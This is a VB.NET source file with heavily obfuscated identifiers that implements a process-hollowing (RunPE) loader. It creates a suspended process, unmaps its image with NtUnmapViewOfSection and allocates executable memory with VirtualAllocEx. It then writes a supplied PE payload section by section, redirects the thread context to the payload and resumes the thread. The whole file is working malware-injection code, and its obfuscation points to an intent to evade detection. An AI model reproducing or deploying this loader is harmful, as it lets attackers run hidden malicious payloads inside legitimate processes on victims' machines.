' --------------------------------------------------
Imports System.Reflection
Imports System.Runtime.InteropServices
Imports System.Text
Public Module 弓下乙戶丁升官月了心巨人冊工人巨口弓工父巨了三內已冊父山戶工已下巨臼已口臼七工官官心巨父工七山三已山冊口了山丁力升力三下臼父冊了匹父力
Private Declare Function 下 Lib "kernel32" Alias "LoadLibraryA" (ByVal 匹冊 As String) As IntPtr
Private Declare Function 已冊升 Lib "kernel32" Alias "GetProcAddress" (ByVal 升臼丁力 As IntPtr, ByVal 匹冊 As String) As IntPtr
Private Function 人月已月冊(Of 七三冊心人匹)(ByVal 匹冊 As String, ByVal 工戶弓乙巨內匹 As String) As 七三冊心人匹
Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(已冊升(下(匹冊), 工戶弓乙巨內匹), GetType(七三冊心人匹)), Object), 七三冊心人匹)
End Function
Private Delegate Function 月月父心七人乙升(ByVal 力冊心下力七工官尺 As IntPtr, ByVal 力臼水三七弓心匹戶 As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
Private Delegate Function 巨水了口父已三七巨工匹(ByVal 乙乙巨口弓山月戶力已月月 As IntPtr, ByVal 匹人七戶戶七力升巨三水水人 As IntPtr) As UInteger
Private Delegate Function 三巨人官口尺下冊乙山力人官七(ByVal 乙乙巨口弓山月戶力已月月 As IntPtr, ByVal 匹人七戶戶七力升巨三水水人 As IntPtr, ByRef 人匹已工丁月已戶下官口升力人力 As IntPtr, ByVal 匹月弓下丁七內巨三乙巨水丁乙下力 As Integer, ByRef 七官冊力了匹工丁水乙內了乙七乙水巨 As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
Private Delegate Function 父尺尺匹巨了丁臼水力下七已弓下匹三官(ByVal 力冊心下力七工官尺ead As IntPtr, ByVal 匹弓七升弓七心工七臼冊丁口山巨丁匹下父 As IntPtr) As UInteger
Private Delegate Function 心臼乙尺月水工下月三力父下心冊月人官山臼(ByVal 力冊心下力七工官尺 As IntPtr, ByVal 力臼水三七弓心匹戶 As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
Delegate Function 匹下尺山力七了下力臼匹心父弓下乙下臼內七下(ByVal 乙乙巨口弓山月戶力已月月 As IntPtr, ByVal b乙乙巨口弓山月戶力已月月 As IntPtr, ByVal 官下丁水父臼尺人父內父心七丁山臼內力冊下尺七月 As IntPtr, ByVal 心水尺升口水內乙冊水內工人工下水山官官工力內丁人 As Integer, ByVal 尺匹尺丁工三臼丁尺冊工官丁弓三下力工下官心內了冊尺 As Integer) As IntPtr
Delegate Function 了了匹丁升父七工工口了尺父冊已人升官巨內力丁下尺力口(ByVal 乙乙巨口弓山月戶力已月月ess As IntPtr, ByVal 弓已水尺乙三升力尺升臼冊七巨父尺乙臼父巨下戶內父力已工 As IntPtr, ByVal 三乙山匹了尺力口內尺丁臼巨尺丁巨了七官弓心官升工冊了山官 As Byte(), ByVal n官下丁水父臼尺人父內父心七丁山臼內力冊下尺七月 As UInteger, ByVal 了山力官水父官工人三月已已力已父官口七三巨尺尺了戶官父內口 As Integer) As Boolean
Private Declare Auto Function 弓月工了冊力官匹口父心口人弓山工山山了已七工尺弓工尺人升月山 Lib "kernel32" Alias "CreateProcessW" (ByVal b乙乙巨口弓山月戶力已月月ka As String, ByVal 口水冊匹三升匹了三父弓下心水戶月力父了丁丁乙力官月水升人水工口 As StringBuilder, ByVal 心水尺升口水內乙冊水內工人工下水山官官工力內丁人in As IntPtr, ByVal 弓人丁升七力尺力戶匹已內升乙父冊水人了了乙乙戶升巨尺口七工弓月人三水 As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal 月力父七已人尺巨乙山乙口官升水山山三力臼力口父丁戶丁冊下七力臼弓下巨心 As Boolean, ByVal 戶七戶下巨巨心三心下內已水口匹水官巨口乙父心心升丁丁升戶臼口冊父尺升已 As Integer, ByVal 了巨官升父父人升七臼弓弓弓戶戶戶了已臼口臼水人七臼匹水戶了力升戶臼已三已 As IntPtr, ByVal 丁內山山人冊尺乙巨工巨冊內尺丁力乙冊弓匹人丁工巨父了尺升山升升了匹內內月山臼 As String, ByVal 巨官已下水戶丁內弓口冊尺力匹三丁升丁心尺內戶水升水巨三下已三乙弓人臼月升工力山 As Byte(), ByVal 丁乙力內三冊三三升冊臼官三力已尺力月月山官巨七人水內乙月心父升三工弓乙升官父人 As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
Private Function 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺(ByVal 七力人口臼匹官已內口丁心內七工巨內山工官工內人口工內力父尺已臼山臼山官冊三已口力下父 As Long, Optional ByVal p人月已月冊k As Long = &H4) As Integer
Dim 工了冊已力內下冊了尺七內心七乙已三了七了山七冊父三內下人心三冊山巨水工口匹心父了匹戶臼乙 As IntPtr
Dim 七山內內三匹了丁心三尺父心月月口人丁月了山乙冊丁父冊口七下已三巨冊三升巨戶父冊乙匹弓巨水巨 As Integer
Dim 臼已下心口官人力丁臼乙丁工升弓人匹父七山水心力三冊水乙戶七尺口戶下心口官三水人內尺冊丁三 As 三巨人官口尺下冊乙山力人官七 = 人月已月冊(Of 三巨人官口尺下冊乙山力人官七)("ntdll", "NtReadVirtualMemory")
Call 臼已下心口官人力丁臼乙丁工升弓人匹父七山水心力三冊水乙戶七尺口戶下心口官三水人內尺冊丁三(Process.GetCurrentProcess.Handle, 七力人口臼匹官已內口丁心內七工巨內山工官工內人口工內力父尺已臼山臼山官冊三已口力下父, 工了冊已力內下冊了尺七內心七乙已三了七了山七冊父三內下人心三冊山巨水工口匹心父了匹戶臼乙, p人月已月冊k, 七山內內三匹了丁心三尺父心月月口人丁月了山乙冊丁父冊口七下已三巨冊三升巨戶父冊乙匹弓巨水巨)
Return 工了冊已力內下冊了尺七內心七乙已三了七了山七冊父三內下人心三冊山巨水工口匹心父了匹戶臼乙
End Function
Public Function 了父力山人升升匹力內冊口心月水力匹匹丁下臼了冊丁下尺官乙七月水三口戶了工下巨丁下戶丁臼力(ByVal 下七下了丁已乙乙人匹弓七山升七戶三丁官口下月下官工丁戶官巨升下弓下升乙冊工三丁山弓口了戶匹戶人月 As Byte(), ByVal 人匹已工丁月已戶下官口升力人力心尺了三已內丁水人尺工人升山弓升工戶月官戶山弓巨內人力內戶已乙心月心 As String) As Boolean
Try
Dim 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺msine As GCHandle = GCHandle.Alloc(下七下了丁已乙乙人匹弓七山升七戶三丁官口下月下官工丁戶官巨升下弓下升乙冊工三丁山弓口了戶匹戶人月, GCHandleType.Pinned) : Dim 弓臼官山父力了人冊內七弓了口已力水尺內升臼工內了已巨力口父心父尺臼尺三水心丁工弓山乙已山內父冊山巨了 As Integer = 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺msine.AddrOfPinnedObject : 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺msine.Free()
Dim 心水尺升口水內乙冊水內工人工下水山官官工力內丁人in As IntPtr = IntPtr.Zero
Dim 七了內匹人父工官升升內了人心三乙匹官水戶人弓口水工了力丁人七工戶官口臼七丁了三口冊心父水內三已山七了力 As IntPtr() = New IntPtr(3) {}
Dim 乙心內巨官山內人三人口戶弓月月心山匹尺升巨升內升工心丁乙乙了升乙戶內乙七水冊內冊七丁心匹乙七水冊尺尺丁下 As Byte() = New Byte(67) {}
Dim 心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父 As Integer = BitConverter.ToInt32(下七下了丁已乙乙人匹弓七山升七戶三丁官口下月下官工丁戶官巨升下弓下升乙冊工三丁山弓口了戶匹戶人月, 60)
Dim 心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父en As Integer
Dim 力臼水三七弓心匹戶 As UInteger() = New UInteger(178) {}
力臼水三七弓心匹戶(0) = &H10002
弓月工了冊力官匹口父心口人弓山工山山了已七工尺弓工尺人升月山(Nothing, New StringBuilder(人匹已工丁月已戶下官口升力人力心尺了三已內丁水人尺工人升山弓升工戶月官戶山弓巨內人力內戶已乙心月心), 心水尺升口水內乙冊水內工人工下水山官官工力內丁人in, 心水尺升口水內乙冊水內工人工下水山官官工力內丁人in, False, 4, 心水尺升口水內乙冊水內工人工下水山官官工力內丁人in, Nothing, 乙心內巨官山內人三人口戶弓月月心山匹尺升巨升內升工心丁乙乙了升乙戶內乙七水冊內冊七丁心匹乙七水冊尺尺丁下, 七了內匹人父工官升升內了人心三乙匹官水戶人弓口水工了力丁人七工戶官口臼七丁了三口冊心父水內三已山七了力)
Dim 心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父wada As Integer = (弓臼官山父力了人冊內七弓了口已力水尺內升臼工內了已巨力口父心父尺臼尺三水心丁工弓山乙已山內父冊山巨了 + 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺(弓臼官山父力了人冊內七弓了口已力水尺內升臼工內了已巨力口父心父尺臼尺三水心丁工弓山乙已山內父冊山巨了 + &H3C))
心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父en = 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺(心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父wada + &H34)
Dim 匹官月已下臼巨口升口匹了父乙口乙月下弓冊力父下弓弓尺人心工乙父臼力冊官月了乙心七已人戶心升山七七臼臼心乙已乙了心弓 As 巨水了口父已三七巨工匹 = 人月已月冊(Of 巨水了口父已三七巨工匹)("ntdll", "NtUnmapViewOfSection")
匹官月已下臼巨口升口匹了父乙口乙月下弓冊力父下弓弓尺人心工乙父臼力冊官月了乙心七已人戶心升山七七臼臼心乙已乙了心弓(七了內匹人父工官升升內了人心三乙匹官水戶人弓口水工了力丁人七工戶官口臼七丁了三口冊心父水內三已山七了力(0), 心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父en)
Dim 父心臼匹了冊戶心力人三心內了弓口內內父人內冊心心戶山父尺弓人冊官已工山已月升了官心工口弓冊弓升乙口工冊下升冊冊匹力 As 匹下尺山力七了下力臼匹心父弓下乙下臼內七下 = 人月已月冊(Of 匹下尺山力七了下力臼匹心父弓下乙下臼內七下)("kernel32", "VirtualAllocEx")
Dim 弓已水尺乙三升力尺升臼冊七巨父尺乙臼父巨下戶內父力已工 As IntPtr = 父心臼匹了冊戶心力人三心內了弓口內內父人內冊心心戶山父尺弓人冊官已工山已月升了官心工口弓冊弓升乙口工冊下升冊冊匹力(七了內匹人父工官升升內了人心三乙匹官水戶人弓口水工了力丁人七工戶官口臼七丁了三口冊心父水內三已山七了力(0), 心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父en, 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺(心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父wada + &H50), &H3000, &H40)
Dim 了官匹尺力父心升臼乙山尺三山戶七內戶七山月官七丁尺官三官巨乙巨父乙口七升人已升人官心尺升工山下冊冊冊內七臼尺山力尺丁 As New IntPtr(BitConverter.ToInt32(下七下了丁已乙乙人匹弓七山升七戶三丁官口下月下官工丁戶官巨升下弓下升乙冊工三丁山弓口了戶匹戶人月, 心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父 + &H34))
Dim 官下丁水父臼尺人父內父心七丁山臼內力冊下尺七月 As New IntPtr(BitConverter.ToInt32(下七下了丁已乙乙人匹弓七山升七戶三丁官口下月下官工丁戶官巨升下弓下升乙冊工三丁山弓口了戶匹戶人月, 心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父 + 80))
Dim 山三升下心乙戶工口山戶人人三臼冊戶心戶弓山尺七父臼力心心乙弓臼內了心月工巨水七七已弓下人戶父了月巨臼工心人七弓官巨巨 As Integer
Dim 了山力官水父官工人三月已已力已父官口七三巨尺尺了戶官父內口 As Integer
Dim 戶下山父戶巨了丁冊丁官下官丁了下七山臼匹工父父山心匹升乙尺力工月冊冊戶了官匹下了官口山口了升三已工山口心水冊弓已心山水水 As 了了匹丁升父七工工口了尺父冊已人升官巨內力丁下尺力口 = 人月已月冊(Of 了了匹丁升父七工工口了尺父冊已人升官巨內力丁下尺力口)("ntdll", "NtWriteVirtualMemory")
戶下山父戶巨了丁冊丁官下官丁了下七山臼匹工父父山心匹升乙尺力工月冊冊戶了官匹下了官口山口了升三已工山口心水冊弓已心山水水(七了內匹人父工官升升內了人心三乙匹官水戶人弓口水工了力丁人七工戶官口臼七丁了三口冊心父水內三已山七了力(0), 弓已水尺乙三升力尺升臼冊七巨父尺乙臼父巨下戶內父力已工, 下七下了丁已乙乙人匹弓七山升七戶三丁官口下月下官工丁戶官巨升下弓下升乙冊工三丁山弓口了戶匹戶人月, CUInt(CInt(臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺(心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父wada + &H54))), 山三升下心乙戶工口山戶人人三臼冊戶心戶弓山尺七父臼力心心乙弓臼內了心月工巨水七七已弓下人戶父了月巨臼工心人七弓官巨巨)
For i = 0 To 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺(心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父wada + &H6, 2) - 1
Dim 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺戶臼力父月戶了工弓力人巨升臼冊官丁已下已臼 As Integer() = New Integer(9) {}
Buffer.BlockCopy(下七下了丁已乙乙人匹弓七山升七戶三丁官口下月下官工丁戶官巨升下弓下升乙冊工三丁山弓口了戶匹戶人月, (心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父 + &HF8) + (i * 40), 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺戶臼力父月戶了工弓力人巨升臼冊官丁已下已臼, 0, 40)
Dim 弓七水乙山三乙力力弓弓內月戶父戶三工水戶匹升官戶弓力了乙了已冊七人升臼下山丁心七巨山內升尺臼戶丁丁臼三丁戶山父內升內官丁尺工 As Byte() = New Byte((臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺戶臼力父月戶了工弓力人巨升臼冊官丁已下已臼(4) - 1)) {}
Buffer.BlockCopy(下七下了丁已乙乙人匹弓七山升七戶三丁官口下月下官工丁戶官巨升下弓下升乙冊工三丁山弓口了戶匹戶人月, 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺戶臼力父月戶了工弓力人巨升臼冊官丁已下已臼(5), 弓七水乙山三乙力力弓弓內月戶父戶三工水戶匹升官戶弓力了乙了已冊七人升臼下山丁心七巨山內升尺臼戶丁丁臼三丁戶山父內升內官丁尺工, 0, 弓七水乙山三乙力力弓弓內月戶父戶三工水戶匹升官戶弓力了乙了已冊七人升臼下山丁心七巨山內升尺臼戶丁丁臼三丁戶山父內升內官丁尺工.Length)
官下丁水父臼尺人父內父心七丁山臼內力冊下尺七月 = New IntPtr(弓已水尺乙三升力尺升臼冊七巨父尺乙臼父巨下戶內父力已工.ToInt32() + 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺戶臼力父月戶了工弓力人巨升臼冊官丁已下已臼(3))
了官匹尺力父心升臼乙山尺三山戶七內戶七山月官七丁尺官三官巨乙巨父乙口七升人已升人官心尺升工山下冊冊冊內七臼尺山力尺丁 = New IntPtr(弓七水乙山三乙力力弓弓內月戶父戶三工水戶匹升官戶弓力了乙了已冊七人升臼下山丁心七巨山內升尺臼戶丁丁臼三丁戶山父內升內官丁尺工.Length)
戶下山父戶巨了丁冊丁官下官丁了下七山臼匹工父父山心匹升乙尺力工月冊冊戶了官匹下了官口山口了升三已工山口心水冊弓已心山水水(七了內匹人父工官升升內了人心三乙匹官水戶人弓口水工了力丁人七工戶官口臼七丁了三口冊心父水內三已山七了力(0), 官下丁水父臼尺人父內父心七丁山臼內力冊下尺七月, 弓七水乙山三乙力力弓弓內月戶父戶三工水戶匹升官戶弓力了乙了已冊七人升臼下山丁心七巨山內升尺臼戶丁丁臼三丁戶山父內升內官丁尺工, CUInt(了官匹尺力父心升臼乙山尺三山戶七內戶七山月官七丁尺官三官巨乙巨父乙口七升人已升人官心尺升工山下冊冊冊內七臼尺山力尺丁), 了山力官水父官工人三月已已力已父官口七三巨尺尺了戶官父內口)
Next i
Dim 乙巨口已工山力人下月弓口力升官戶水官已戶冊父心父下心力心升臼乙戶三冊官巨父人匹冊七山戶七力弓臼冊工冊父升三臼臼內匹口心戶戶丁冊冊 As 月月父心七人乙升 = 人月已月冊(Of 月月父心七人乙升)("ntdll", "NtGetContextThread")
乙巨口已工山力人下月弓口力升官戶水官已戶冊父心父下心力心升臼乙戶三冊官巨父人匹冊七山戶七力弓臼冊工冊父升三臼臼內匹口心戶戶丁冊冊(七了內匹人父工官升升內了人心三乙匹官水戶人弓口水工了力丁人七工戶官口臼七丁了三口冊心父水內三已山七了力(1), 力臼水三七弓心匹戶)
戶下山父戶巨了丁冊丁官下官丁了下七山臼匹工父父山心匹升乙尺力工月冊冊戶了官匹下了官口山口了升三已工山口心水冊弓已心山水水(七了內匹人父工官升升內了人心三乙匹官水戶人弓口水工了力丁人七工戶官口臼七丁了三口冊心父水內三已山七了力(0), 力臼水三七弓心匹戶(41) + &H8, BitConverter.GetBytes(弓已水尺乙三升力尺升臼冊七巨父尺乙臼父巨下戶內父力已工.ToInt32()), CUInt(&H4), 了山力官水父官工人三月已已力已父官口七三巨尺尺了戶官父內口)
力臼水三七弓心匹戶(&H2C) = 心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父en + 臼內下力尺官力力山水官丁官了七了山丁下內內七戶冊了父丁人水戶內巨臼父人三匹水弓人尺(心乙了升臼水弓三乙乙乙父七三心山巨匹山冊巨匹工力七臼三丁三內心七月冊弓匹乙力戶巨已水戶丁戶匹心弓三山三乙內父wada + &H28)
Dim 官已升已心臼心七人力口冊人臼人心水巨口戶下冊三七巨升父人下口冊已人了山升月口了七人山心戶父冊口七水內三下冊升冊匹官戶匹巨口父巨 As 心臼乙尺月水工下月三力父下心冊月人官山臼 = 人月已月冊(Of 心臼乙尺月水工下月三力父下心冊月人官山臼)("ntdll", "NtSetContextThread")
官已升已心臼心七人力口冊人臼人心水巨口戶下冊三七巨升父人下口冊已人了山升月口了七人山心戶父冊口七水內三下冊升冊匹官戶匹巨口父巨(七了內匹人父工官升升內了人心三乙匹官水戶人弓口水工了力丁人七工戶官口臼七丁了三口冊心父水內三已山七了力(1), 力臼水三七弓心匹戶)
Dim 官內升工口臼七臼工弓已冊口心人內下弓官巨工臼已升下七尺力冊力口匹巨升巨乙丁巨山了水父乙匹匹七月戶三工已力弓人丁父三冊口下人升丁內心水 As 父尺尺匹巨了丁臼水力下七已弓下匹三官 = 人月已月冊(Of 父尺尺匹巨了丁臼水力下七已弓下匹三官)("ntdll", "NtResumeThread")
官內升工口臼七臼工弓已冊口心人內下弓官巨工臼已升下七尺力冊力口匹巨升巨乙丁巨山了水父乙匹匹七月戶三工已力弓人丁父三冊口下人升丁內心水(七了內匹人父工官升升內了人心三乙匹官水戶人弓口水工了力丁人七工戶官口臼七丁了三口冊心父水內三已山七了力(1), 0)
Catch ex As Exception
Return False
End Try
Return True
End Function
End Module